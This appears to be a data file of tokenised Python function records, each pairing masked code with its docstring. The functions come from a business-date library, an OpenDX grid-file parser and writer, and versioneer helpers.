{"signature": "def adjust_previous(self, holidays_obj=None):", "body": "while not BusinessDate.is_business_day(self, holidays_obj):<EOL><INDENT>self = BusinessDate.add_days(self, -<NUM_LIT:1>)<EOL><DEDENT>return self<EOL>", "docstring": "adjusts to Business Day Convention \"Preceding\" (4.12(a) (iii) 2006 ISDA Definitions).", "id": "f15441:c2:m44"}
{"signature": "def adjust_follow(self, holidays_obj=None):", "body": "while not BusinessDate.is_business_day(self, holidays_obj):<EOL><INDENT>self = BusinessDate.add_days(self, <NUM_LIT:1>)<EOL><DEDENT>return self<EOL>", "docstring": "adjusts to Business Day Convention \"Following\" (4.12(a) (i) 2006 ISDA Definitions).", "id": "f15441:c2:m45"}
{"signature": "def adjust_mod_follow(self, holidays_obj=None):", "body": "month = self.month<EOL>new = BusinessDate.adjust_follow(self, holidays_obj)<EOL>if month != new.month:<EOL><INDENT>new = BusinessDate.adjust_previous(self, holidays_obj)<EOL><DEDENT>self = new<EOL>return self<EOL>", "docstring": "adjusts to Business Day Convention \"Modified [Following]\" (4.12(a) (ii) 2006 ISDA Definitions).", "id": "f15441:c2:m46"}
{"signature": "def adjust_mod_previous(self, holidays_obj=None):", "body": "month = self.month<EOL>new = BusinessDate.adjust_previous(self, holidays_obj)<EOL>if month != new.month:<EOL><INDENT>new = BusinessDate.adjust_follow(self, holidays_obj)<EOL><DEDENT>self = new<EOL>return self<EOL>", "docstring": "ajusts to Business Day Convention \"Modified Preceding\" (not in 2006 ISDA Definitons).", "id": "f15441:c2:m47"}
{"signature": "def __init__(self, period_in='<STR_LIT>', holiday=None, years=<NUM_LIT:0>, months=<NUM_LIT:0>, days=<NUM_LIT:0>, businessdays=<NUM_LIT:0>):", "body": "super(BusinessPeriod, self).__init__()<EOL>if isinstance(period_in, BusinessPeriod):<EOL><INDENT>years = period_in.years<EOL>months = period_in.months<EOL>days = period_in.days<EOL>businessdays = period_in.businessdays<EOL><DEDENT>elif isinstance(period_in, timedelta):<EOL><INDENT>days += timedelta.days<EOL><DEDENT>elif isinstance(period_in, (list, tuple)):<EOL><INDENT>if len(period_in) == <NUM_LIT:2>:<EOL><INDENT>y, m, d = BusinessDate.diff(period_in[<NUM_LIT:0>], period_in[<NUM_LIT:1>])<EOL>years += y<EOL>months += m<EOL>days += d<EOL><DEDENT><DEDENT>elif isinstance(period_in, (str, unicode)):<EOL><INDENT>period_in = str(period_in)<EOL>if period_in.startswith('<STR_LIT:->'):<EOL><INDENT>p = BusinessPeriod(period_in[<NUM_LIT:1>:])<EOL>years -= p.years<EOL>months -= p.months<EOL>days -= p.days<EOL>businessdays -= p.businessdays<EOL><DEDENT>elif period_in.upper() == '<STR_LIT>':<EOL><INDENT>businessdays += <NUM_LIT:1><EOL><DEDENT>elif period_in.upper() == '<STR_LIT>':<EOL><INDENT>businessdays += <NUM_LIT:2><EOL><DEDENT>elif period_in.upper() == '<STR_LIT>':<EOL><INDENT>businessdays += <NUM_LIT:3><EOL><DEDENT>elif period_in.upper().find('<STR_LIT:B>') > <NUM_LIT:0>:<EOL><INDENT>businessdays += int(period_in.upper().split('<STR_LIT:B>', <NUM_LIT:2>)[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>y, m, d = BusinessPeriod.parse(period_in)<EOL>years += y<EOL>months += m<EOL>days += d<EOL><DEDENT><DEDENT>if holiday is None:<EOL><INDENT>self.holiday = DEFAULT_HOLIDAYS<EOL><DEDENT>else:<EOL><INDENT>self.holiday = holiday<EOL><DEDENT>self.years = years<EOL>self.months = months<EOL>self.days = days<EOL>self.businessdays = businessdays<EOL>", "docstring": "class managing date periods like days, weeks, years etc.\n\n:param period_in:\n:param holiday:\n:param years:\n:param months:\n:param days:\n:param businessdays:\n\nrepresentation of a time BusinessPeriod, similar to dateutils.relativedelta, but with additional business day logic", "id": "f15441:c3:m1"}
{"signature": "@classmethod<EOL><INDENT>def is_businessperiod(cls, in_period):<DEDENT>", "body": "try:  <EOL><INDENT>if str(in_period).upper() == '<STR_LIT>':<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>p = BusinessPeriod(str(in_period))<EOL>return not (p.days == <NUM_LIT:0> and p.months == <NUM_LIT:0> and p.years == <NUM_LIT:0> and p.businessdays == <NUM_LIT:0>)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": ":param in_period: object to be checked\n:type in_period: object, str, timedelta\n:return: True if cast works\n:rtype: Boolean\n\nchecks is argument con becasted to BusinessPeriod", "id": "f15441:c3:m4"}
{"signature": "def __cmp__(self, other):", "body": "assert type(self) == type(other), \"<STR_LIT>\" % str((type(self), type(other)))<EOL>s = (self.years * <NUM_LIT:12> + self.months) * <NUM_LIT> + self.days<EOL>o = (other.years * <NUM_LIT:12> + other.months) * <NUM_LIT> + other.days<EOL>return s - o<EOL>", "docstring": "compare BusinessPeriods, comparison by (years*12+months)*31+days\n\n        :param BusinessPeriod other:\n        :return: int", "id": "f15441:c3:m8"}
{"signature": "def __init__(self, start, stop=None, step=None, rolling=None):", "body": "<EOL>start, stop, step, rolling = self._default_args(start, stop, step, rolling)<EOL>schedule = self._build_grid(start, stop, step, rolling)<EOL>super(BusinessRange, self).__init__(set(schedule))<EOL>self.sort()<EOL>", "docstring": "range like class to build date list\n\n:param start: date to begin schedule, if stop not given, start will be used as stop and\n    default in rolling to BusinessDate()\n:type start: BusinessDate or int or str\n:param stop: date to stop before, if not given, start will be used for stop instead\n:type stop: BusinessDate or int or str\n:param step: period to step schedule, if not given 1 year is default\n:type step: BusinessPeriod or str\n:param rolling: date to roll on (forward and backward) between start and stop,\n    if not given default will be start\n:type rolling: BusinessDate or int or str\n\nrange like class to build BusinessDate list from rolling date and BusinessPeriod\n\nFirst, :code:`rolling` and :code:`step` defines a infinite grid of dates.\nSecond, this grid is sliced by :code:`start` (included , if meeting the grid) and\n:code:`end` (excluded).", "id": "f15441:c4:m0"}
{"signature": "def __init__(self, start, end, step, roll=None):", "body": "if not roll:<EOL><INDENT>roll = end<EOL><DEDENT>if not isinstance(start, BusinessDate):<EOL><INDENT>if isinstance(start, BusinessPeriod):<EOL><INDENT>start = start.to_businessdate()<EOL><DEDENT>else:<EOL><INDENT>start = BusinessDate(start)<EOL><DEDENT><DEDENT>if not isinstance(end, BusinessDate):<EOL><INDENT>if isinstance(end, BusinessPeriod):<EOL><INDENT>end = end.to_businessdate()<EOL><DEDENT>else:<EOL><INDENT>end = BusinessDate(end)<EOL><DEDENT><DEDENT>super(BusinessSchedule, self).__init__(start, end, step, roll)<EOL>if start not in self:<EOL><INDENT>self.insert(<NUM_LIT:0>, start)<EOL><DEDENT>if end not in self:<EOL><INDENT>self.append(end)<EOL><DEDENT>", "docstring": "class to build date schedules incl. start and end date\n\n:param BusinessDate start: start date of schedule\n:param BusinessDate end: end date of schedule\n:param BusinessPeriod step: period distance of two dates\n:param BusinessDate roll: origin of schedule\n\nconvenient class to build date schedules\na schedule includes always start and end date\nand rolls on roll, i.e. builds a sequence by\nadding and/or substracting step to/from roll.\nstart and end slice the relevant dates.", "id": "f15441:c5:m0"}
{"signature": "def __init__(self,classid):", "body": "self.id = classid  <EOL>self.name = None   <EOL>self.component = None   <EOL>self.D = None<EOL>", "docstring": "id is the object number", "id": "f15445:c0:m0"}
{"signature": "def write(self,file,optstring=\"<STR_LIT>\",quote=False):", "body": "classid = str(self.id)<EOL>if quote: classid = '<STR_LIT:\">'+classid+'<STR_LIT:\">'<EOL>file.write('<STR_LIT>'+classid+'<STR_LIT>'+str(self.name)+'<STR_LIT:U+0020>'+optstring+'<STR_LIT:\\n>')<EOL>", "docstring": "write the 'object' line; additional args are packed in string", "id": "f15445:c0:m1"}
{"signature": "def ndformat(self,s):", "body": "return s * len(self.shape)<EOL>", "docstring": "Returns a string with as many repetitions of s as self\n        has dimensions (derived from shape)", "id": "f15445:c0:m3"}
{"signature": "def edges(self):", "body": "return [self.delta[d,d] * numpy.arange(self.shape[d]+<NUM_LIT:1>) + self.origin[d]- <NUM_LIT:0.5>*self.delta[d,d]     for d in range(self.rank)]<EOL>", "docstring": "Edges of the grid cells, origin at centre of 0,0,..,0 grid cell.\n\n        Only works for regular, orthonormal grids.", "id": "f15445:c1:m2"}
{"signature": "def __init__(self, classid, array=None, type=None, typequote='<STR_LIT:\">',<EOL>**kwargs):", "body": "if array is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.id = classid<EOL>self.name = '<STR_LIT>'<EOL>self.component = '<STR_LIT:data>'<EOL>if type is None:<EOL><INDENT>self.array = numpy.asarray(array)<EOL>try:<EOL><INDENT>self.type = self.np_types[self.array.dtype.name]<EOL><DEDENT>except KeyError:<EOL><INDENT>warnings.warn((\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\").format(<EOL>self.array.dtype.name))<EOL>self.type = self.array.dtype.name  <EOL><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>self.array = numpy.asarray(array, dtype=self.dx_types[type])<EOL><DEDENT>except KeyError:<EOL><INDENT>raise ValueError((\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(type,<EOL>list(self.dx_types.values()))))<EOL><DEDENT>self.type = type<EOL><DEDENT>self.typequote = typequote<EOL>", "docstring": "Parameters\n----------\nclassid : int\narray : array_like\ntype : str (optional)\n     Set the DX type in the output file and cast `array` to\n     the closest numpy dtype.  `type` must be one of the\n     allowed types in DX files as defined under `Array\n     Objects`_.  The default ``None`` tries to set the type\n     from the :class:`numpy.dtype` of `array`.\n\n     .. versionadded:: 0.4.0\n\nRaises\n------\nValueError\n     if `array` is not provided; or if `type` is not of the correct\n     DX type", "id": "f15445:c3:m0"}
{"signature": "def write(self, file):", "body": "if self.type not in self.dx_types:<EOL><INDENT>raise ValueError((\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\").format(<EOL>self.type, list(self.dx_types.keys())))<EOL><DEDENT>typelabel = (self.typequote+self.type+self.typequote)<EOL>DXclass.write(self,file,<EOL>'<STR_LIT>'.format(<EOL>typelabel, self.array.size))<EOL>fmt_string = \"<STR_LIT>\"<EOL>if (self.array.dtype.kind == '<STR_LIT:f>' or self.array.dtype.kind == '<STR_LIT:c>'):<EOL><INDENT>precision = numpy.finfo(self.array.dtype).precision<EOL>fmt_string = \"<STR_LIT>\"+\"<STR_LIT>\".format(precision)+\"<STR_LIT>\"<EOL><DEDENT>values_per_line = <NUM_LIT:3><EOL>values = self.array.flat<EOL>while <NUM_LIT:1>:<EOL><INDENT>try:<EOL><INDENT>for i in range(values_per_line):<EOL><INDENT>file.write(fmt_string.format(next(values)) + \"<STR_LIT:\\t>\")<EOL><DEDENT>file.write('<STR_LIT:\\n>')<EOL><DEDENT>except StopIteration:<EOL><INDENT>file.write('<STR_LIT:\\n>')<EOL>break<EOL><DEDENT><DEDENT>file.write('<STR_LIT>')<EOL>", "docstring": "Write the *class array* section.\n\n        Parameters\n        ----------\n        file : file\n\n        Raises\n        ------\n        ValueError\n             If the `dxtype` is not a valid type, :exc:`ValueError` is\n             raised.", "id": "f15445:c3:m1"}
{"signature": "def __init__(self,classid='<STR_LIT:0>',components=None,comments=None):", "body": "if components is None:<EOL><INDENT>components = dict(positions=None,connections=None,data=None)<EOL><DEDENT>if comments is None:<EOL><INDENT>comments = ['<STR_LIT>',<EOL>'<STR_LIT>']<EOL><DEDENT>elif type(comments) is not list:<EOL><INDENT>comments = [str(comments)]<EOL><DEDENT>self.id = classid       <EOL>self.name = '<STR_LIT>'<EOL>self.component = None   <EOL>self.components = components<EOL>self.comments= comments<EOL>", "docstring": "OpenDX object, which is build from a list of components.\n\n        Parameters\n        ----------\n\n        id : str\n               arbitrary string\n        components : dict\n               dictionary of DXclass instances (no sanity check on the\n               individual ids!) which correspond to\n\n               * positions\n               * connections\n               * data\n\n        comments : list\n               list of strings; each string becomes a comment line\n               prefixed with '#'. Avoid newlines.\n\n\n        A field must have at least the components 'positions',\n        'connections', and 'data'. Those components are associated\n        with objects belonging to the field. When writing a dx file\n        from the field, only the required objects are dumped to the file.\n\n        (For a more general class that can use field:\n        Because there could be more objects than components, we keep a\n        separate object list. When dumping the dx file, first all\n        objects are written and then the field object describes its\n        components. Objects are referenced by their unique id.)\n\n        .. Note:: uniqueness of the *id* is not checked.\n\n\n        Example\n        -------\n        Create a new dx object::\n\n           dx = OpenDX.field('density',[gridpoints,gridconnections,array])", "id": "f15445:c4:m0"}
{"signature": "def write(self, filename):", "body": "<EOL>maxcol = <NUM_LIT><EOL>with open(filename,'<STR_LIT:w>') as outfile:<EOL><INDENT>for line in self.comments:<EOL><INDENT>comment = '<STR_LIT>'+str(line)<EOL>outfile.write(comment[:maxcol]+'<STR_LIT:\\n>')<EOL><DEDENT>for component,object in self.sorted_components():<EOL><INDENT>object.write(outfile)<EOL><DEDENT>DXclass.write(self,outfile,quote=True)<EOL>for component,object in self.sorted_components():<EOL><INDENT>outfile.write('<STR_LIT>' % (component,str(object.id)))<EOL><DEDENT><DEDENT>", "docstring": "Write the complete dx object to the file.\n\n        This is the simple OpenDX format which includes the data into\n        the header via the 'object array ... data follows' statement.\n\n        Only simple regular arrays are supported.\n\n        The format should be compatible with VMD's dx reader plugin.", "id": "f15445:c4:m1"}
{"signature": "def read(self,file):", "body": "DXfield = self<EOL>p = DXParser(file)<EOL>p.parse(DXfield)<EOL>", "docstring": "Read DX field from file.\n\n            dx = OpenDX.field.read(dxfile)\n\n        The classid is discarded and replaced with the one from the file.", "id": "f15445:c4:m2"}
{"signature": "def add(self,component,DXobj):", "body": "self[component] = DXobj<EOL>", "docstring": "add a component to the field", "id": "f15445:c4:m3"}
{"signature": "def add_comment(self,comment):", "body": "self.comments.append(comment)<EOL>", "docstring": "add comments", "id": "f15445:c4:m4"}
{"signature": "def sorted_components(self):", "body": "for component, object insorted(self.components.items(),<EOL>key=lambda comp_obj: comp_obj[<NUM_LIT:1>].id):<EOL><INDENT>yield component, object<EOL><DEDENT>", "docstring": "iterator that returns (component,object) in id order", "id": "f15445:c4:m5"}
{"signature": "def histogramdd(self):", "body": "shape = self.components['<STR_LIT>'].shape<EOL>edges = self.components['<STR_LIT>'].edges()<EOL>hist = self.components['<STR_LIT:data>'].array.reshape(shape)<EOL>return (hist,edges)<EOL>", "docstring": "Return array data as (edges,grid), i.e. a numpy nD histogram.", "id": "f15445:c4:m6"}
{"signature": "def value(self,ascode=None):", "body": "if ascode is None:<EOL><INDENT>ascode = self.code<EOL><DEDENT>return self.cast[ascode](self.text)<EOL>", "docstring": "Return text cast to the correct type or the selected type", "id": "f15445:c7:m3"}
{"signature": "def initialize(self):", "body": "return self.DXclasses[self.type](self.id,**self.args)<EOL>", "docstring": "Initialize the corresponding DXclass from the data.\n\n        class = DXInitObject.initialize()", "id": "f15445:c8:m1"}
{"signature": "def __init__(self,filename):", "body": "self.filename = filename<EOL>self.field = field('<STR_LIT>',comments=['<STR_LIT>'+self.filename])<EOL>self.parsers = {'<STR_LIT>':self.__general,<EOL>'<STR_LIT>':self.__comment, '<STR_LIT:object>':self.__object,<EOL>'<STR_LIT>':self.__gridpositions,<EOL>'<STR_LIT>':self.__gridconnections,<EOL>'<STR_LIT>':self.__array, '<STR_LIT>':self.__field,<EOL>}<EOL>", "docstring": "Setup a parser for a simple DX file (from VMD)\n\n        >>> DXfield_object = OpenDX.field(id)\n        >>> p = DXparser('bulk.dx')\n        >>> p.parse(DXfield_object)\n\n        The field object will be completely rewritten (including the\n        id if one is found in the input file. The input files\n        component layout is currently ignored.\n\n        Note that quotes are removed from quoted strings.", "id": "f15445:c9:m0"}
{"signature": "def parse(self,DXfield):", "body": "self.DXfield = DXfield              <EOL>self.currentobject = None           <EOL>self.objects = []                   <EOL>self.tokens = []                    <EOL>with open(self.filename,'<STR_LIT:r>') as self.dxfile:<EOL><INDENT>self.use_parser('<STR_LIT>')      <EOL><DEDENT>for o in self.objects:<EOL><INDENT>if o.type == '<STR_LIT>':<EOL><INDENT>DXfield.id = o.id<EOL>continue<EOL><DEDENT>c = o.initialize()<EOL>self.DXfield.add(c.component,c)<EOL><DEDENT>del self.currentobject, self.objects<EOL>", "docstring": "Parse the dx file and construct a DX field object with component classes.\n\n        A :class:`field` instance *DXfield* must be provided to be\n        filled by the parser::\n\n           DXfield_object = OpenDX.field(*args)\n           parse(DXfield_object)\n\n        A tokenizer turns the dx file into a stream of tokens. A\n        hierarchy of parsers examines the stream. The level-0 parser\n        ('general') distinguishes comments and objects (level-1). The\n        object parser calls level-3 parsers depending on the object\n        found. The basic idea is that of a 'state machine'. There is\n        one parser active at any time. The main loop is the general\n        parser.\n\n        * Constructing the dx objects with classtype and classid is\n          not implemented yet.\n        * Unknown tokens raise an exception.", "id": "f15445:c9:m1"}
{"signature": "def __general(self):", "body": "while <NUM_LIT:1>:                            <EOL><INDENT>try:<EOL><INDENT>tok = self.__peek()         <EOL><DEDENT>except DXParserNoTokens:<EOL><INDENT>if self.currentobject and self.currentobject not in self.objects:<EOL><INDENT>self.objects.append(self.currentobject)<EOL><DEDENT>return                      <EOL><DEDENT>if tok.iscode('<STR_LIT>'):<EOL><INDENT>self.set_parser('<STR_LIT>')  <EOL><DEDENT>elif tok.iscode('<STR_LIT>') and tok.equals('<STR_LIT:object>'):<EOL><INDENT>self.set_parser('<STR_LIT:object>')   <EOL><DEDENT>elif self.__parser is self.__general:<EOL><INDENT>raise DXParseError('<STR_LIT>'+str(tok))<EOL><DEDENT>self.apply_parser()<EOL><DEDENT>", "docstring": "Level-0 parser and main loop.\n\n        Look for a token that matches a level-1 parser and hand over control.", "id": "f15445:c9:m2"}
{"signature": "def __comment(self):", "body": "tok = self.__consume()<EOL>self.DXfield.add_comment(tok.value())<EOL>self.set_parser('<STR_LIT>')<EOL>", "docstring": "Level-1 parser for comments.\n\n        pattern: #.*\n        Append comment (with initial '# ' stripped) to all comments.", "id": "f15445:c9:m3"}
{"signature": "def __object(self):", "body": "self.__consume()                    <EOL>classid = self.__consume().text<EOL>word = self.__consume().text<EOL>if word != \"<STR_LIT:class>\":<EOL><INDENT>raise DXParseError(\"<STR_LIT>\" % word)<EOL><DEDENT>if self.currentobject:<EOL><INDENT>self.objects.append(self.currentobject)<EOL><DEDENT>classtype = self.__consume().text<EOL>self.currentobject = DXInitObject(classtype=classtype,classid=classid)<EOL>self.use_parser(classtype)<EOL>", "docstring": "Level-1 parser for objects.\n\n        pattern: 'object' id 'class' type ...\n\n        id ::=   integer|string|'\"'white space string'\"'\n        type ::= string", "id": "f15445:c9:m4"}
{"signature": "def __gridpositions(self):", "body": "try:<EOL><INDENT>tok = self.__consume()<EOL><DEDENT>except DXParserNoTokens:<EOL><INDENT>return<EOL><DEDENT>if tok.equals('<STR_LIT>'):<EOL><INDENT>shape = []<EOL>try:<EOL><INDENT>while True:<EOL><INDENT>self.__peek().value('<STR_LIT>')<EOL>tok = self.__consume()<EOL>shape.append(tok.value('<STR_LIT>'))<EOL><DEDENT><DEDENT>except (DXParserNoTokens, ValueError):<EOL><INDENT>pass<EOL><DEDENT>if len(shape) == <NUM_LIT:0>:<EOL><INDENT>raise DXParseError('<STR_LIT>')<EOL><DEDENT>self.currentobject['<STR_LIT>'] = shape<EOL><DEDENT>elif tok.equals('<STR_LIT>'):<EOL><INDENT>origin = []<EOL>try:<EOL><INDENT>while (self.__peek().iscode('<STR_LIT>') or<EOL>self.__peek().iscode('<STR_LIT>')):<EOL><INDENT>tok = self.__consume()<EOL>origin.append(tok.value())<EOL><DEDENT><DEDENT>except DXParserNoTokens:<EOL><INDENT>pass<EOL><DEDENT>if len(origin) == <NUM_LIT:0>:<EOL><INDENT>raise DXParseError('<STR_LIT>')<EOL><DEDENT>self.currentobject['<STR_LIT>'] = origin<EOL><DEDENT>elif tok.equals('<STR_LIT>'):<EOL><INDENT>d = []<EOL>try:<EOL><INDENT>while (self.__peek().iscode('<STR_LIT>') or<EOL>self.__peek().iscode('<STR_LIT>')):<EOL><INDENT>tok = self.__consume()<EOL>d.append(tok.value())<EOL><DEDENT><DEDENT>except DXParserNoTokens:<EOL><INDENT>pass<EOL><DEDENT>if len(d) == <NUM_LIT:0>:<EOL><INDENT>raise DXParseError('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>self.currentobject['<STR_LIT>'].append(d)<EOL><DEDENT>except KeyError:<EOL><INDENT>self.currentobject['<STR_LIT>'] = [d]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise DXParseError('<STR_LIT>'+str(tok)+'<STR_LIT>')<EOL><DEDENT>", "docstring": "Level-2 parser for gridpositions.\n\n        pattern:\n        object 1 class gridpositions counts 97 93 99\n        origin -46.5 -45.5 -48.5\n        delta 1 0 0\n        delta 0 1 0\n        delta 0 0 1", "id": "f15445:c9:m5"}
{"signature": "def __gridconnections(self):", "body": "try:<EOL><INDENT>tok = self.__consume()<EOL><DEDENT>except DXParserNoTokens:<EOL><INDENT>return<EOL><DEDENT>if tok.equals('<STR_LIT>'):<EOL><INDENT>shape = []<EOL>try:<EOL><INDENT>while True:<EOL><INDENT>self.__peek().value('<STR_LIT>')<EOL>tok = self.__consume()<EOL>shape.append(tok.value('<STR_LIT>'))<EOL><DEDENT><DEDENT>except (DXParserNoTokens, ValueError):<EOL><INDENT>pass<EOL><DEDENT>if len(shape) == <NUM_LIT:0>:<EOL><INDENT>raise DXParseError('<STR_LIT>')<EOL><DEDENT>self.currentobject['<STR_LIT>'] = shape<EOL><DEDENT>else:<EOL><INDENT>raise DXParseError('<STR_LIT>'+str(tok)+'<STR_LIT>')<EOL><DEDENT>", "docstring": "Level-2 parser for gridconnections.\n\n        pattern:\n        object 2 class gridconnections counts 97 93 99", "id": "f15445:c9:m6"}
{"signature": "def __array(self):", "body": "try:<EOL><INDENT>tok = self.__consume()<EOL><DEDENT>except DXParserNoTokens:<EOL><INDENT>return<EOL><DEDENT>if tok.equals('<STR_LIT:type>'):<EOL><INDENT>tok = self.__consume()<EOL>if not tok.iscode('<STR_LIT>'):<EOL><INDENT>raise DXParseError('<STR_LIT>'%tok.text)<EOL><DEDENT>self.currentobject['<STR_LIT:type>'] = tok.value()<EOL><DEDENT>elif tok.equals('<STR_LIT>'):<EOL><INDENT>tok = self.__consume()<EOL>try:<EOL><INDENT>self.currentobject['<STR_LIT>'] = tok.value('<STR_LIT>')<EOL><DEDENT>except ValueError:<EOL><INDENT>raise DXParseError('<STR_LIT>'%tok.text)<EOL><DEDENT><DEDENT>elif tok.equals('<STR_LIT>'):<EOL><INDENT>tok = self.__consume()<EOL>try:<EOL><INDENT>self.currentobject['<STR_LIT:size>'] = tok.value('<STR_LIT>')<EOL><DEDENT>except ValueError:<EOL><INDENT>raise DXParseError('<STR_LIT>'%tok.text)<EOL><DEDENT><DEDENT>elif tok.equals('<STR_LIT:data>'):<EOL><INDENT>tok = self.__consume()<EOL>if not tok.iscode('<STR_LIT>'):<EOL><INDENT>raise DXParseError('<STR_LIT>'%tok.text)<EOL><DEDENT>if tok.text != '<STR_LIT>':<EOL><INDENT>raise NotImplementedError('<STR_LIT>')<EOL><DEDENT>if not self.currentobject['<STR_LIT:size>']:<EOL><INDENT>raise DXParseError(\"<STR_LIT>\")<EOL><DEDENT>self.currentobject['<STR_LIT>'] = []<EOL>while len(self.currentobject['<STR_LIT>']) <self.currentobject['<STR_LIT:size>']:<EOL><INDENT>self.currentobject['<STR_LIT>'].extend(self.dxfile.readline().strip().split())<EOL><DEDENT><DEDENT>elif tok.equals('<STR_LIT>'):<EOL><INDENT>attribute = self.__consume().value()<EOL>if not self.__consume().equals('<STR_LIT:string>'):<EOL><INDENT>raise DXParseError('<STR_LIT>')<EOL><DEDENT>value = self.__consume().value()<EOL><DEDENT>else:<EOL><INDENT>raise DXParseError('<STR_LIT>'+str(tok)+'<STR_LIT>')<EOL><DEDENT>", "docstring": "Level-2 parser for arrays.\n\n        pattern:\n        object 3 class array type double rank 0 items 12 data follows\n        0 2 0\n        0 0 3.6\n        0 -2.0 1e-12\n        +4.534e+01 .34534 0.43654\n        attribute \"dep\" string \"positions\"", "id": "f15445:c9:m7"}
{"signature": "def __field(self):", "body": "try:<EOL><INDENT>tok = self.__consume()<EOL><DEDENT>except DXParserNoTokens:<EOL><INDENT>return<EOL><DEDENT>if tok.equals('<STR_LIT>'):<EOL><INDENT>component = self.__consume().value()<EOL>if not self.__consume().equals('<STR_LIT:value>'):<EOL><INDENT>raise DXParseError('<STR_LIT>')<EOL><DEDENT>classid = self.__consume().value()<EOL>try:<EOL><INDENT>self.currentobject['<STR_LIT>'][component] = classid<EOL><DEDENT>except KeyError:<EOL><INDENT>self.currentobject['<STR_LIT>'] = {component:classid}<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise DXParseError('<STR_LIT>'+str(tok)+'<STR_LIT>')<EOL><DEDENT>", "docstring": "Level-2 parser for a DX field object.\n\n        pattern:\n        object \"site map 1\" class field\n        component \"positions\" value 1\n        component \"connections\" value 2\n        component \"data\" value 3", "id": "f15445:c9:m8"}
{"signature": "def use_parser(self,parsername):", "body": "self.__parser = self.parsers[parsername]<EOL>self.__parser()<EOL>", "docstring": "Set parsername as the current parser and apply it.", "id": "f15445:c9:m9"}
{"signature": "def set_parser(self,parsername):", "body": "self.__parser = self.parsers[parsername]<EOL>", "docstring": "Set parsername as the current parser.", "id": "f15445:c9:m10"}
{"signature": "def apply_parser(self):", "body": "self.__parser()<EOL>", "docstring": "Apply the current parser to the token stream.", "id": "f15445:c9:m11"}
{"signature": "def __tokenize(self,string):", "body": "for m in self.dx_regex.finditer(string.strip()):<EOL><INDENT>code = m.lastgroup<EOL>text = m.group(m.lastgroup)<EOL>tok = Token(code,text)<EOL>if not tok.iscode('<STR_LIT>'):<EOL><INDENT>self.tokens.append(tok)<EOL><DEDENT><DEDENT>", "docstring": "Split s into tokens and update the token buffer.\n\n        __tokenize(string)\n\n        New tokens are appended to the token buffer, discarding white\n        space.  Based on http://effbot.org/zone/xml-scanner.htm", "id": "f15445:c9:m12"}
{"signature": "def __refill_tokenbuffer(self):", "body": "if len(self.tokens) == <NUM_LIT:0>:<EOL><INDENT>self.__tokenize(self.dxfile.readline())<EOL><DEDENT>", "docstring": "Add a new tokenized line from the file to the token buffer.\n\n        __refill_tokenbuffer()\n\n        Only reads a new line if the buffer is empty. It is safe to\n        call it repeatedly.\n\n        At end of file, method returns empty strings and it is up to\n        __peek and __consume to flag the end of the stream.", "id": "f15445:c9:m13"}
{"signature": "def __consume(self,):", "body": "self.__refill_tokenbuffer()<EOL>try:<EOL><INDENT>return self.tokens.pop(<NUM_LIT:0>)  <EOL><DEDENT>except IndexError:<EOL><INDENT>raise DXParserNoTokens<EOL><DEDENT>", "docstring": "Get the next token from the buffer and remove it/them.\n\n        try:\n          while 1:\n             token = __consume()\n        except DXParserNoTokens:\n          pass", "id": "f15445:c9:m15"}
{"signature": "def get_keywords():", "body": "<EOL>git_refnames = \"<STR_LIT>\"<EOL>git_full = \"<STR_LIT>\"<EOL>git_date = \"<STR_LIT>\"<EOL>keywords = {\"<STR_LIT>\": git_refnames, \"<STR_LIT>\": git_full, \"<STR_LIT:date>\": git_date}<EOL>return keywords<EOL>", "docstring": "Get the keywords needed to look up the version information.", "id": "f15451:m0"}
{"signature": "def get_config():", "body": "<EOL>cfg = VersioneerConfig()<EOL>cfg.VCS = \"<STR_LIT>\"<EOL>cfg.style = \"<STR_LIT>\"<EOL>cfg.tag_prefix = \"<STR_LIT>\"<EOL>cfg.parentdir_prefix = \"<STR_LIT>\"<EOL>cfg.versionfile_source = \"<STR_LIT>\"<EOL>cfg.verbose = False<EOL>return cfg<EOL>", "docstring": "Create, populate and return the VersioneerConfig() object.", "id": "f15451:m1"}
{"signature": "def register_vcs_handler(vcs, method):  ", "body": "def decorate(f):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if vcs not in HANDLERS:<EOL><INDENT>HANDLERS[vcs] = {}<EOL><DEDENT>HANDLERS[vcs][method] = f<EOL>return f<EOL><DEDENT>return decorate<EOL>", "docstring": "Decorator to mark a method as the handler for a particular VCS.", "id": "f15451:m2"}
{"signature": "def run_command(commands, args, cwd=None, verbose=False, hide_stderr=False,<EOL>env=None):", "body": "assert isinstance(commands, list)<EOL>p = None<EOL>for c in commands:<EOL><INDENT>try:<EOL><INDENT>dispcmd = str([c] + args)<EOL>p = subprocess.Popen([c] + args, cwd=cwd, env=env,<EOL>stdout=subprocess.PIPE,<EOL>stderr=(subprocess.PIPE if hide_stderr<EOL>else None))<EOL>break<EOL><DEDENT>except EnvironmentError:<EOL><INDENT>e = sys.exc_info()[<NUM_LIT:1>]<EOL>if e.errno == errno.ENOENT:<EOL><INDENT>continue<EOL><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % dispcmd)<EOL>print(e)<EOL><DEDENT>return None, None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % (commands,))<EOL><DEDENT>return None, None<EOL><DEDENT>stdout = p.communicate()[<NUM_LIT:0>].strip()<EOL>if sys.version_info[<NUM_LIT:0>] >= <NUM_LIT:3>:<EOL><INDENT>stdout = stdout.decode()<EOL><DEDENT>if p.returncode != <NUM_LIT:0>:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % dispcmd)<EOL>print(\"<STR_LIT>\" % stdout)<EOL><DEDENT>return None, p.returncode<EOL><DEDENT>return stdout, p.returncode<EOL>", "docstring": "Call the given command(s).", "id": "f15451:m3"}
